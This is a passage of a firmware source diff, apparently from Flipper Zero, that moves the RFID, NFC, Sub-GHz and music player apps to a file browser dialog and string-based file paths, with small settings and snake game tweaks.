{ make_app_folder(); if(strlen(args)) { - load_key_data(args, &worker.key); + string_set_str(file_path, args); + load_key_data(file_path, &worker.key); scene_controller.add_scene(SceneType::Emulate, new LfRfidAppSceneEmulate()); scene_controller.process(100, SceneType::Emulate); } else { @@ -69,65 +75,49 @@ void LfRfidApp::run(void* _args) { } bool LfRfidApp::save_key(RfidKey* key) { - string_t file_name; bool result = false; make_app_folder(); - string_init_printf(file_name, "%s/%s%s", app_folder, key->get_name(), app_extension); - result = save_key_data(string_get_cstr(file_name), key); - string_clear(file_name); + if(string_end_with_str_p(file_path, app_extension)) { + size_t filename_start = string_search_rchar(file_path, '/'); + string_left(file_path, filename_start); + } + string_cat_printf(file_path, "/%s%s", key->get_name(), app_extension); + + result = save_key_data(file_path, key); return result; } bool LfRfidApp::load_key_from_file_select(bool need_restore) { - TextStore* filename_ts = new TextStore(64); - bool result = false; - - if(need_restore) { - result = dialog_file_select_show( - dialogs, - app_folder, - app_extension, - filename_ts->text, - filename_ts->text_size, - worker.key.get_name()); - } else { - result = dialog_file_select_show( - dialogs, app_folder, app_extension, filename_ts->text, filename_ts->text_size, NULL); + if(!need_restore) { + string_set_str(file_path, app_folder); } + bool result = dialog_file_browser_show( + dialogs, file_path, file_path, app_extension, true, &I_125_10px, true); + if(result) { - string_t key_str; - string_init_printf(key_str, "%s/%s%s", app_folder, filename_ts->text, app_extension); - result = load_key_data(string_get_cstr(key_str), &worker.key); - string_clear(key_str); + result = load_key_data(file_path, &worker.key); } - delete filename_ts; return result; } bool LfRfidApp::delete_key(RfidKey* key) { - string_t file_name; - bool result = false; - - string_init_printf(file_name, "%s/%s%s", app_folder, key->get_name(), app_extension); - result = storage_simply_remove(storage, string_get_cstr(file_name)); - string_clear(file_name); - - return result; + UNUSED(key); + return storage_simply_remove(storage, string_get_cstr(file_path)); } -bool LfRfidApp::load_key_data(const char* path, RfidKey* key) { +bool LfRfidApp::load_key_data(string_t path, RfidKey* key) { FlipperFormat* file = flipper_format_file_alloc(storage); bool result = false; string_t str_result; string_init(str_result); do { - if(!flipper_format_file_open_existing(file, path)) break; + if(!flipper_format_file_open_existing(file, string_get_cstr(path))) break; // header uint32_t version; @@ -149,7 +139,7 @@ bool LfRfidApp::load_key_data(const char* path, RfidKey* key) { break; loaded_key.set_data(key_data, loaded_key.get_type_data_count()); - path_extract_filename_no_ext(path, str_result); + path_extract_filename(path, str_result, true); loaded_key.set_name(string_get_cstr(str_result)); *key = loaded_key; @@ -166,12 +156,12 @@ bool LfRfidApp::load_key_data(const char* path, RfidKey* key) { return result; } -bool LfRfidApp::save_key_data(const char* path, RfidKey* key) { +bool LfRfidApp::save_key_data(string_t path, RfidKey* key) { FlipperFormat* file = flipper_format_file_alloc(storage); bool result = false; do { - if(!flipper_format_file_open_always(file, path)) break; + if(!flipper_format_file_open_always(file, string_get_cstr(path))) break; if(!flipper_format_write_header_cstr(file, app_filetype, 1)) break; if(!flipper_format_write_comment_cstr(file, "Key type can be EM4100, H10301 or I40134")) break; diff --git a/applications/lfrfid/lfrfid_app.h b/applications/lfrfid/lfrfid_app.h index dddfb753a..3f8209a1d 100644 --- a/applications/lfrfid/lfrfid_app.h +++ b/applications/lfrfid/lfrfid_app.h @@ -1,4 +1,5 @@ #pragma once +#include "m-string.h" #include #include @@ -76,6 +77,8 @@ public: TextStore text_store; + string_t file_path; + void run(void* args); static const char* app_folder; @@ -86,8 +89,8 @@ public: bool load_key_from_file_select(bool need_restore); bool delete_key(RfidKey* key); - bool load_key_data(const char* path, RfidKey* key); - bool save_key_data(const char* path, RfidKey* key); + bool load_key_data(string_t path, RfidKey* key); + bool save_key_data(string_t path, RfidKey* key); void make_app_folder(); }; diff --git a/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp b/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp index d460724e2..d7ba2c9ed 100644 --- a/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp +++ b/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp @@ -1,11 +1,14 @@ #include "lfrfid_app_scene_save_name.h" +#include "m-string.h" #include +#include void LfRfidAppSceneSaveName::on_enter(LfRfidApp* app, bool /* need_restore */) { const char* key_name = app->worker.key.get_name(); bool key_name_empty = !strcmp(key_name, ""); if(key_name_empty) { + string_set_str(app->file_path, app->app_folder); set_random_name(app->text_store.text, app->text_store.text_size); } else { app->text_store.set("%s", key_name); @@ -21,10 +24,17 @@ void LfRfidAppSceneSaveName::on_enter(LfRfidApp* app, bool /* need_restore */) { app->worker.key.get_name_length(), key_name_empty); + string_t folder_path; + string_init(folder_path); + + path_extract_dirname(string_get_cstr(app->file_path), folder_path); + ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(app->app_folder, app->app_extension, key_name); + validator_is_file_alloc_init(string_get_cstr(folder_path), app->app_extension, key_name); text_input->set_validator(validator_is_file_callback, validator_is_file); + string_clear(folder_path); + app->view_controller.switch_to(); } diff --git a/applications/music_player/music_player.c b/applications/music_player/music_player.c index 6dfef4920..9b5dda0fa 100644 --- a/applications/music_player/music_player.c +++ b/applications/music_player/music_player.c @@ -1,3 +1,5 @@ +#include "assets_icons.h" +#include "m-string.h" #include #include @@ -298,23 +300,23 @@ int32_t music_player_app(void* p) { if(p) { string_cat_str(file_path, p); } else { - char file_name[256] = {0}; + string_set_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); + DialogsApp* dialogs = furi_record_open("dialogs"); - bool res = dialog_file_select_show( + bool res = dialog_file_browser_show( dialogs, - MUSIC_PLAYER_APP_PATH_FOLDER, + file_path, + file_path, MUSIC_PLAYER_APP_EXTENSION, - file_name, - 255, - NULL); + true, + &I_music_10px, + false); + furi_record_close("dialogs"); if(!res) { FURI_LOG_E(TAG, "No file selected"); break; } - string_cat_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); - string_cat_str(file_path, "/"); - string_cat_str(file_path, file_name); } if(!music_player_worker_load(music_player->worker, string_get_cstr(file_path))) { diff --git a/applications/nfc/nfc_device.c b/applications/nfc/nfc_device.c index 63f0c3ccb..ca3fc45aa 100644 --- a/applications/nfc/nfc_device.c +++ b/applications/nfc/nfc_device.c @@ -1,4 +1,6 @@ #include "nfc_device.h" +#include "assets_icons.h" +#include "m-string.h" #include "nfc_types.h" #include @@ -14,6 +16,7 @@ NfcDevice* nfc_device_alloc() { NfcDevice* nfc_dev = malloc(sizeof(NfcDevice)); nfc_dev->storage = furi_record_open("storage"); nfc_dev->dialogs = furi_record_open("dialogs"); + string_init(nfc_dev->load_path); return nfc_dev; } @@ -22,6 +25,7 @@ void nfc_device_free(NfcDevice* nfc_dev) { nfc_device_clear(nfc_dev); furi_record_close("storage"); furi_record_close("dialogs"); + string_clear(nfc_dev->load_path); free(nfc_dev); } @@ -730,11 +734,24 @@ void nfc_device_set_name(NfcDevice* dev, const char* name) { strlcpy(dev->dev_name, name, NFC_DEV_NAME_MAX_LEN); } +static void nfc_device_get_path_without_ext(string_t orig_path, string_t shadow_path) { + // TODO: this won't work if there is ".nfc" anywhere in the path other than + // at the end + size_t ext_start = string_search_str(orig_path, NFC_APP_EXTENSION); + string_set_n(shadow_path, orig_path, 0, ext_start); +} + +static void nfc_device_get_shadow_path(string_t orig_path, string_t shadow_path) { + nfc_device_get_path_without_ext(orig_path, shadow_path); + string_cat_printf(shadow_path, "%s", NFC_APP_SHADOW_EXTENSION); +} + static bool nfc_device_save_file( NfcDevice* dev, const char* dev_name, const char* folder, - const char* extension) { + const char* extension, + bool use_load_path) { furi_assert(dev); bool saved = false; @@ -744,10 +761,19 @@ static bool nfc_device_save_file( string_init(temp_str); do { - // Create nfc directory if necessary - if(!storage_simply_mkdir(dev->storage, NFC_APP_FOLDER)) break; - // First remove nfc device file if it was saved - string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); + if(use_load_path && !string_empty_p(dev->load_path)) { + // Get directory name + path_extract_dirname(string_get_cstr(dev->load_path), temp_str); + // Create nfc directory if necessary + if(!storage_simply_mkdir(dev->storage, string_get_cstr(temp_str))) break; + // Make path to file to save + string_cat_printf(temp_str, "/%s%s", dev_name, extension); + } else { + // Create nfc directory if necessary + if(!storage_simply_mkdir(dev->storage, NFC_APP_FOLDER)) break; + // First remove nfc device file if it was saved + string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); + } // Open file if(!flipper_format_file_open_always(file, string_get_cstr(temp_str))) break; // Write header @@ -786,12 +812,12 @@ static bool nfc_device_save_file( } bool nfc_device_save(NfcDevice* dev, const char* dev_name) { - return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_EXTENSION); + return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_EXTENSION, true); } bool nfc_device_save_shadow(NfcDevice* dev, const char* dev_name) { dev->shadow_file_exist = true; - return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_SHADOW_EXTENSION); + return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_SHADOW_EXTENSION, true); } static bool nfc_device_load_data(NfcDevice* dev, string_t path) { @@ -805,9 +831,7 @@ static bool nfc_device_load_data(NfcDevice* dev, string_t path) { do { // Check existance of shadow file - size_t ext_start = string_search_str(path, NFC_APP_EXTENSION); - string_set_n(temp_str, path, 0, ext_start); - string_cat_printf(temp_str, "%s", NFC_APP_SHADOW_EXTENSION); + nfc_device_get_shadow_path(path, temp_str); dev->shadow_file_exist = storage_common_stat(dev->storage, string_get_cstr(temp_str), NULL) == FSE_OK; // Open shadow file if it exists. If not - open original @@ -864,15 +888,16 @@ bool nfc_device_load(NfcDevice* dev, const char* file_path) { furi_assert(file_path); // Load device data - string_t path; - string_init_set_str(path, file_path); - bool dev_load = nfc_device_load_data(dev, path); + string_set_str(dev->load_path, file_path); + bool dev_load = nfc_device_load_data(dev, dev->load_path); if(dev_load) { // Set device name - path_extract_filename_no_ext(file_path, path); - nfc_device_set_name(dev, string_get_cstr(path)); + string_t filename; + string_init(filename); + path_extract_filename_no_ext(file_path, filename); + nfc_device_set_name(dev, string_get_cstr(filename)); + string_clear(filename); } - string_clear(path); return dev_load; } @@ -880,23 +905,19 @@ bool nfc_device_load(NfcDevice* dev, const char* file_path) { bool nfc_file_select(NfcDevice* dev) { furi_assert(dev); - // Input events and views are managed by file_select - bool res = dialog_file_select_show( - dev->dialogs, - NFC_APP_FOLDER, - NFC_APP_EXTENSION, - dev->file_name, - sizeof(dev->file_name), - dev->dev_name); + // Input events and views are managed by file_browser + bool res = dialog_file_browser_show( + dev->dialogs, dev->load_path, dev->load_path, NFC_APP_EXTENSION, true, &I_Nfc_10px, true); if(res) { - string_t dev_str; - // Get key file path - string_init_printf(dev_str, "%s/%s%s", NFC_APP_FOLDER, dev->file_name, NFC_APP_EXTENSION); - res = nfc_device_load_data(dev, dev_str); + string_t filename; + string_init(filename); + path_extract_filename(dev->load_path, filename, true); + strncpy(dev->dev_name, string_get_cstr(filename), NFC_DEV_NAME_MAX_LEN); + res = nfc_device_load_data(dev, dev->load_path); if(res) { - nfc_device_set_name(dev, dev->file_name); + nfc_device_set_name(dev, dev->dev_name); } - string_clear(dev_str); + string_clear(filename); } return res; @@ -914,9 +935,10 @@ void nfc_device_clear(NfcDevice* dev) { nfc_device_data_clear(&dev->dev_data); memset(&dev->dev_data, 0, sizeof(dev->dev_data)); dev->format = NfcDeviceSaveFormatUid; + string_set_str(dev->load_path, NFC_APP_FOLDER); } -bool nfc_device_delete(NfcDevice* dev) { +bool nfc_device_delete(NfcDevice* dev, bool use_load_path) { furi_assert(dev); bool deleted = false; @@ -925,12 +947,20 @@ bool nfc_device_delete(NfcDevice* dev) { do { // Delete original file - string_init_printf(file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); + if(use_load_path && !string_empty_p(dev->load_path)) { + string_set(file_path, dev->load_path); + } else { + string_printf(file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); + } if(!storage_simply_remove(dev->storage, string_get_cstr(file_path))) break; // Delete shadow file if it exists if(dev->shadow_file_exist) { - string_printf( - file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); + if(use_load_path && !string_empty_p(dev->load_path)) { + nfc_device_get_shadow_path(dev->load_path, file_path); + } else { + string_printf( + file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); + } if(!storage_simply_remove(dev->storage, string_get_cstr(file_path))) break; } deleted = true; @@ -944,19 +974,29 @@ bool nfc_device_delete(NfcDevice* dev) { return deleted; } -bool nfc_device_restore(NfcDevice* dev) { +bool nfc_device_restore(NfcDevice* dev, bool use_load_path) { furi_assert(dev); furi_assert(dev->shadow_file_exist); bool restored = false; string_t path; + string_init(path); + do { - string_init_printf( - path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); + if(use_load_path && !string_empty_p(dev->load_path)) { + nfc_device_get_shadow_path(dev->load_path, path); + } else { + string_printf( + path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); + } if(!storage_simply_remove(dev->storage, string_get_cstr(path))) break; dev->shadow_file_exist = false; - string_printf(path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); + if(use_load_path && !string_empty_p(dev->load_path)) { + string_set(path, dev->load_path); + } else { + string_printf(path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); + } if(!nfc_device_load_data(dev, path)) break; restored = true; } while(0); diff --git a/applications/nfc/nfc_device.h b/applications/nfc/nfc_device.h index 215f637fa..400f6c363 100644 --- a/applications/nfc/nfc_device.h +++ b/applications/nfc/nfc_device.h @@ -12,7 +12,6 @@ #include #define NFC_DEV_NAME_MAX_LEN 22 -#define NFC_FILE_NAME_MAX_LEN 120 #define NFC_READER_DATA_MAX_SIZE 64 #define NFC_APP_FOLDER "/any/nfc" @@ -57,7 +56,7 @@ typedef struct { DialogsApp* dialogs; NfcDeviceData dev_data; char dev_name[NFC_DEV_NAME_MAX_LEN + 1]; - char file_name[NFC_FILE_NAME_MAX_LEN]; + string_t load_path; NfcDeviceSaveFormat format; bool shadow_file_exist; } NfcDevice; @@ -80,6 +79,6 @@ void nfc_device_data_clear(NfcDeviceData* dev); void nfc_device_clear(NfcDevice* dev); -bool nfc_device_delete(NfcDevice* dev); +bool nfc_device_delete(NfcDevice* dev, bool use_load_path); -bool nfc_device_restore(NfcDevice* dev); +bool nfc_device_restore(NfcDevice* dev, bool use_load_path); diff --git a/applications/nfc/scenes/nfc_scene_delete.c b/applications/nfc/scenes/nfc_scene_delete.c index e8ba3e440..1946b9290 100755 --- a/applications/nfc/scenes/nfc_scene_delete.c +++ b/applications/nfc/scenes/nfc_scene_delete.c @@ -73,7 +73,7 @@ bool nfc_scene_delete_on_event(void* context, SceneManagerEvent event) { if(event.event == GuiButtonTypeLeft) { return scene_manager_previous_scene(nfc->scene_manager); } else if(event.event == GuiButtonTypeRight) { - if(nfc_device_delete(nfc->dev)) { + if(nfc_device_delete(nfc->dev, true)) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeleteSuccess); } else { scene_manager_search_and_switch_to_previous_scene( diff --git a/applications/nfc/scenes/nfc_scene_save_name.c b/applications/nfc/scenes/nfc_scene_save_name.c index e95c97eb4..d5e05472a 100755 --- a/applications/nfc/scenes/nfc_scene_save_name.c +++ b/applications/nfc/scenes/nfc_scene_save_name.c @@ -1,6 +1,8 @@ #include "../nfc_i.h" +#include "m-string.h" #include #include +#include void nfc_scene_save_name_text_input_callback(void* context) { Nfc* nfc = context; @@ -29,11 +31,22 @@ void nfc_scene_save_name_on_enter(void* context) { NFC_DEV_NAME_MAX_LEN, dev_name_empty); - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(NFC_APP_FOLDER, NFC_APP_EXTENSION, nfc->dev->dev_name); + string_t folder_path; + string_init(folder_path); + + if(string_end_with_str_p(nfc->dev->load_path, NFC_APP_EXTENSION)) { + path_extract_dirname(string_get_cstr(nfc->dev->load_path), folder_path); + } else { + string_set_str(folder_path, NFC_APP_FOLDER); + } + + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + string_get_cstr(folder_path), NFC_APP_EXTENSION, nfc->dev->dev_name); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextInput); + + string_clear(folder_path); } bool nfc_scene_save_name_on_event(void* context, SceneManagerEvent event) { @@ -43,7 +56,7 @@ bool nfc_scene_save_name_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == NfcCustomEventTextInputDone) { if(strcmp(nfc->dev->dev_name, "")) { - nfc_device_delete(nfc->dev); + nfc_device_delete(nfc->dev, true); } if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetUid)) { nfc->dev->dev_data.nfc_data = nfc->dev_edit_data; diff --git a/applications/nfc/scenes/nfc_scene_save_success.c b/applications/nfc/scenes/nfc_scene_save_success.c index 985897a6d..5c15a509a 100644 --- a/applications/nfc/scenes/nfc_scene_save_success.c +++ b/applications/nfc/scenes/nfc_scene_save_success.c @@ -30,9 +30,6 @@ bool nfc_scene_save_success_on_event(void* context, SceneManagerEvent event) { if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneCardMenu)) { consumed = scene_manager_search_and_switch_to_previous_scene( nfc->scene_manager, NfcSceneCardMenu); - } else if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetType)) { - consumed = scene_manager_search_and_switch_to_another_scene( - nfc->scene_manager, NfcSceneFileSelect); } else if(scene_manager_has_previous_scene( nfc->scene_manager, NfcSceneMifareDesfireMenu)) { consumed = scene_manager_search_and_switch_to_previous_scene( diff --git a/applications/nfc/scenes/nfc_scene_saved_menu.c b/applications/nfc/scenes/nfc_scene_saved_menu.c index 1b435ccd1..f2b2dea37 100644 --- a/applications/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/nfc/scenes/nfc_scene_saved_menu.c @@ -78,7 +78,7 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeviceInfo); consumed = true; } else if(event.event == SubmenuIndexRestoreOriginal) { - if(!nfc_device_restore(nfc->dev)) { + if(!nfc_device_restore(nfc->dev, true)) { scene_manager_search_and_switch_to_previous_scene( nfc->scene_manager, NfcSceneStart); } else { diff --git a/applications/nfc/scenes/nfc_scene_set_type.c b/applications/nfc/scenes/nfc_scene_set_type.c index 0dbb4f7ea..0fe63424f 100755 --- a/applications/nfc/scenes/nfc_scene_set_type.c +++ b/applications/nfc/scenes/nfc_scene_set_type.c @@ -1,4 +1,5 @@ #include "../nfc_i.h" +#include "m-string.h" enum SubmenuIndex { SubmenuIndexNFCA4, @@ -16,6 +17,7 @@ void nfc_scene_set_type_on_enter(void* context) { Submenu* submenu = nfc->submenu; // Clear device name nfc_device_set_name(nfc->dev, ""); + string_set_str(nfc->dev->load_path, ""); submenu_add_item( submenu, "NFC-A 7-bytes UID", SubmenuIndexNFCA7, nfc_scene_set_type_submenu_callback, nfc); submenu_add_item( diff --git a/applications/notification/notification_settings_app.c b/applications/notification/notification_settings_app.c index 8254473fe..bcb1b6a27 100644 --- a/applications/notification/notification_settings_app.c +++ b/applications/notification/notification_settings_app.c @@ -46,17 +46,16 @@ const char* const volume_text[VOLUME_COUNT] = { }; const float volume_value[VOLUME_COUNT] = {0.0f, 0.25f, 0.5f, 0.75f, 1.0f}; -#define DELAY_COUNT 7 +#define DELAY_COUNT 6 const char* const delay_text[DELAY_COUNT] = { "1s", "5s", "15s", "30s", "60s", - "90s", "120s", }; -const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 15000, 30000, 60000, 90000, 120000}; +const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 15000, 30000, 60000, 120000}; #define VIBRO_COUNT 2 const char* const vibro_text[VIBRO_COUNT] = { diff --git a/applications/snake_game/snake_game.c b/applications/snake_game/snake_game.c index b07210ee5..bb9e207de 100644 --- a/applications/snake_game/snake_game.c +++ b/applications/snake_game/snake_game.c @@ -2,8 +2,6 @@ #include #include #include -#include -#include typedef struct { // +-----x @@ -300,11 +298,6 @@ static void snake_game_process_game_step(SnakeState* const snake_state) { bool eatFruit = (next_step.x == snake_state->fruit.x) && (next_step.y == snake_state->fruit.y); if(eatFruit) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &sequence_single_vibro); - notification_message(notification, &sequence_blink_white_100); - furi_record_close("notification"); - snake_state->len++; if(snake_state->len >= MAX_SNAKE_LEN) { snake_state->state = GameStateGameOver; diff --git a/applications/subghz/scenes/subghz_scene_delete.c b/applications/subghz/scenes/subghz_scene_delete.c index 83d6d4751..43151de20 100644 --- a/applications/subghz/scenes/subghz_scene_delete.c +++ b/applications/subghz/scenes/subghz_scene_delete.c @@ -49,7 +49,7 @@ bool subghz_scene_delete_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneDelete) { - strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path_tmp, subghz->file_path); if(subghz_delete_file(subghz)) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteSuccess); } else { diff --git a/applications/subghz/scenes/subghz_scene_delete_raw.c b/applications/subghz/scenes/subghz_scene_delete_raw.c index 03f0eb81b..a20968d5b 100644 --- a/applications/subghz/scenes/subghz_scene_delete_raw.c +++ b/applications/subghz/scenes/subghz_scene_delete_raw.c @@ -24,7 +24,7 @@ void subghz_scene_delete_raw_on_enter(void* context) { char delete_str[SUBGHZ_MAX_LEN_NAME + 16]; string_t file_name; string_init(file_name); - path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_filename(subghz->file_path, file_name, true); snprintf(delete_str, sizeof(delete_str), "\e#Delete %s?\e#", string_get_cstr(file_name)); string_clear(file_name); @@ -61,7 +61,7 @@ bool subghz_scene_delete_raw_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneDeleteRAW) { - strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path_tmp, subghz->file_path); if(subghz_delete_file(subghz)) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteSuccess); } else { diff --git a/applications/subghz/scenes/subghz_scene_more_raw.c b/applications/subghz/scenes/subghz_scene_more_raw.c index 54bd08158..a5bade927 100644 --- a/applications/subghz/scenes/subghz_scene_more_raw.c +++ b/applications/subghz/scenes/subghz_scene_more_raw.c @@ -45,7 +45,7 @@ bool subghz_scene_more_raw_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteRAW); return true; } else if(event.event == SubmenuIndexEdit) { - memset(subghz->file_path_tmp, 0, sizeof(subghz->file_path_tmp)); + string_reset(subghz->file_path_tmp); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneMoreRAW, SubmenuIndexEdit); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); diff --git a/applications/subghz/scenes/subghz_scene_save_name.c b/applications/subghz/scenes/subghz_scene_save_name.c index 617709cc7..95fc19388 100644 --- a/applications/subghz/scenes/subghz_scene_save_name.c +++ b/applications/subghz/scenes/subghz_scene_save_name.c @@ -1,4 +1,6 @@ #include "../subghz_i.h" +#include "m-string.h" +#include "subghz/types.h" #include #include "../helpers/subghz_custom_event.h" #include @@ -20,45 +22,49 @@ void subghz_scene_save_name_on_enter(void* context) { bool dev_name_empty = false; string_t file_name; + string_t dir_name; string_init(file_name); + string_init(dir_name); - if(!strcmp(subghz->file_path, "")) { + if(!subghz_path_is_file(subghz->file_path)) { char file_name_buf[SUBGHZ_MAX_LEN_NAME] = {0}; set_random_name(file_name_buf, SUBGHZ_MAX_LEN_NAME); - string_set(file_name, file_name_buf); - strncpy(subghz->file_dir, SUBGHZ_APP_FOLDER, SUBGHZ_MAX_LEN_NAME); + string_set_str(file_name, file_name_buf); + string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); //highlighting the entire filename by default dev_name_empty = true; } else { - strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); - path_extract_dirname(subghz->file_path, file_name); - strncpy(subghz->file_dir, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); - path_extract_filename_no_ext(subghz->file_path, file_name); + string_set(subghz->file_path_tmp, subghz->file_path); + path_extract_dirname(string_get_cstr(subghz->file_path), dir_name); + path_extract_filename(subghz->file_path, file_name, true); if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) != SubGhzCustomEventManagerNoSet) { subghz_get_next_name_file(subghz, SUBGHZ_MAX_LEN_NAME); - path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_filename(subghz->file_path, file_name, true); if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) == SubGhzCustomEventManagerSetRAW) { dev_name_empty = true; } } + string_set(subghz->file_path, dir_name); } - strncpy(subghz->file_path, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); + + strncpy(subghz->file_name_tmp, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); text_input_set_header_text(text_input, "Name signal"); text_input_set_result_callback( text_input, subghz_scene_save_name_text_input_callback, subghz, - subghz->file_path, + subghz->file_name_tmp, MAX_TEXT_INPUT_LEN, // buffer size dev_name_empty); - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(subghz->file_dir, SUBGHZ_APP_EXTENSION, NULL); + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + string_get_cstr(subghz->file_path), SUBGHZ_APP_EXTENSION, NULL); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); string_clear(file_name); + string_clear(dir_name); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdTextInput); } @@ -66,18 +72,15 @@ void subghz_scene_save_name_on_enter(void* context) { bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeBack) { - strncpy(subghz->file_path, subghz->file_path_tmp, SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path, subghz->file_path_tmp); scene_manager_previous_scene(subghz->scene_manager); return true; } else if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneSaveName) { - if(strcmp(subghz->file_path, "")) { - string_t temp_str; - string_init_printf( - temp_str, "%s/%s%s", subghz->file_dir, subghz->file_path, SUBGHZ_APP_EXTENSION); - strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); - string_clear(temp_str); - if(strcmp(subghz->file_path_tmp, "")) { + if(strcmp(subghz->file_name_tmp, "")) { + string_cat_printf( + subghz->file_path, "/%s%s", subghz->file_name_tmp, SUBGHZ_APP_EXTENSION); + if(subghz_path_is_file(subghz->file_path_tmp)) { if(!subghz_rename_file(subghz)) { return false; } @@ -85,7 +88,7 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneSetType) != SubGhzCustomEventManagerNoSet) { subghz_save_protocol_to_file( - subghz, subghz->txrx->fff_data, subghz->file_path); + subghz, subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneSetType, @@ -95,13 +98,14 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { subghz, subghz_history_get_raw_data( subghz->txrx->history, subghz->txrx->idx_menu_chosen), - subghz->file_path); + string_get_cstr(subghz->file_path)); } } if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) != SubGhzCustomEventManagerNoSet) { - subghz_protocol_raw_gen_fff_data(subghz->txrx->fff_data, subghz->file_path); + subghz_protocol_raw_gen_fff_data( + subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneReadRAW, SubGhzCustomEventManagerNoSet); } else { @@ -111,7 +115,7 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveSuccess); return true; } else { - string_set(subghz->error_str, "No name file"); + string_set_str(subghz->error_str, "No name file"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return true; } diff --git a/applications/subghz/scenes/subghz_scene_transmitter.c b/applications/subghz/scenes/subghz_scene_transmitter.c index 38ab84994..b8b22749c 100644 --- a/applications/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/subghz/scenes/subghz_scene_transmitter.c @@ -94,7 +94,7 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) { subghz->scene_manager, SubGhzSceneStart); return true; } else if(event.event == SubGhzCustomEventViewTransmitterError) { - string_set(subghz->error_str, "Protocol not found"); + string_set_str(subghz->error_str, "Protocol not found"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); } } else if(event.type == SceneManagerEventTypeTick) { diff --git a/applications/subghz/subghz_cli.c b/applications/subghz/subghz_cli.c index f919e1cf2..6c92a5d6b 100644 --- a/applications/subghz/subghz_cli.c +++ b/applications/subghz/subghz_cli.c @@ -303,7 +303,7 @@ void subghz_cli_command_decode_raw(Cli* cli, string_t args, void* context) { 